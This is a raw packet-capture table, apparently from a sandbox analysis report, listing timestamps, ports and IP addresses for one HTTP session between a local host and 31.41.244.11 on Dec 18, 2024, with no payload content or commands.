Dec 18, 2024 15:22:13.009167910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009180069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009181023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009181023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009205103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009213924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009218931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009229898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009244919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009248972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009257078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009262085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009270906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009283066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009294033 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009311914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009315968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009315968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009327888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009340048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009352922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009363890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009377003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009385109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009385109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009385109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009388924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009401083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009412050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009417057 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009417057 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009424925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009437084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009452105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009464025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009470940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009470940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009475946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009488106 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009495974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009500980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009511948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009525061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009536982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009552002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009560108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009560108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009566069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009579897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009582043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009603024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009615898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009625912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009625912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009625912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009639978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009651899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009665012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009665012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009665966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009677887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009692907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009705067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009716034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009716034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009717941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009730101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009742975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009753942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009762049 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009764910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009778023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009790897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009803057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009805918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009815931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009826899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009839058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009851933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009854078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009854078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009854078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009864092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009877920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009890079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009901047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009908915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009913921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009922981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009970903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009970903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.010009050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.088460922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.088474989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.088581085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.088679075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.088799000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.088841915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.088860035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.089648008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.089700937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.089721918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.089802027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.090754986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.090899944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.090920925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.091028929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.091833115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.091876984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.091891050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.091949940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.092972994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.093025923 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.093094110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.093158007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.093951941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.094049931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.094068050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.094212055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.095145941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.095211983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.095249891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.095264912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.096224070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.096287012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.096311092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.096327066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.097230911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.097337008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.097388983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.097467899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.098299026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.098371983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.098400116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.098475933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.099474907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.099649906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.099658966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.099725962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.100461960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.100507021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.100553036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.100614071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.101839066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.101900101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.101947069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.102004051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.102602005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.102670908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.102711916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.102711916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.103705883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.103759050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.103873014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.103940010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.104764938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.104870081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.104876995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.104933977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.105865002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.105921984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.105950117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.106004000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.106936932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.106993914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.107021093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.107105017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.108036995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.108100891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.108114958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.108171940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.109072924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.109170914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.109172106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.109263897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.110254049 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.110332966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.110378027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.110450029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.111344099 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.111440897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.111469984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.111666918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.112425089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.112483025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.112610102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.112728119 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.113743067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.113806009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.113848925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.113969088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.114974022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.115045071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.115102053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.115214109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.116033077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.116089106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.116096973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.116174936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.116956949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.117018938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.117053032 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.117131948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.118094921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.118172884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.118180037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.118232965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.119132042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.119209051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.119227886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.119267941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.119982958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.120038986 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.120094061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.120340109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.120965004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.121056080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.121056080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.121107101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.122453928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.122559071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.122584105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.122632980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.123460054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.123548031 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.123560905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.123656988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.124440908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.124560118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.124799967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.124869108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.125591040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.125713110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.125715971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.125799894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.126629114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.126698017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.126745939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.126880884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.127712011 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.127775908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.127940893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.128005028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.129082918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.129129887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.129298925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.129298925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.130556107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.130567074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.130629063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.131310940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.131397009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.131433010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.131433010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.132132053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.132190943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.132201910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.132301092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.132882118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.132961035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.133163929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.133279085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.134100914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.134198904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.134242058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.134242058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.135174990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.135251045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.135335922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.135335922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.136039972 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.136188984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.136214972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.136261940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.137104988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.137161016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.137243986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.137291908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.138235092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.138297081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.138308048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.138355970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.139285088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.139338017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.139415026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.139491081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.140420914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.140470028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.140598059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.140793085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.141426086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.141491890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.141510010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.141541004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.142507076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.142604113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.142666101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.142838001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.143626928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.143717051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.143744946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.143835068 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.144695997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.144797087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.280622005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.280818939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.281085968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.281107903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.281126976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.281174898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.281174898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.282140970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.282253981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.282306910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.282872915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.283335924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.283394098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.283476114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.283598900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.284308910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.284370899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.284482956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.284605026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.285387039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.285460949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.285578012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.285670996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.286462069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.286525965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.286628962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.286690950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.287646055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.287714005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.287771940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.287838936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.288724899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.288876057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.288892031 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.288938046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.289777040 CET	80	49910	31.41.244.11	192.168.2.5
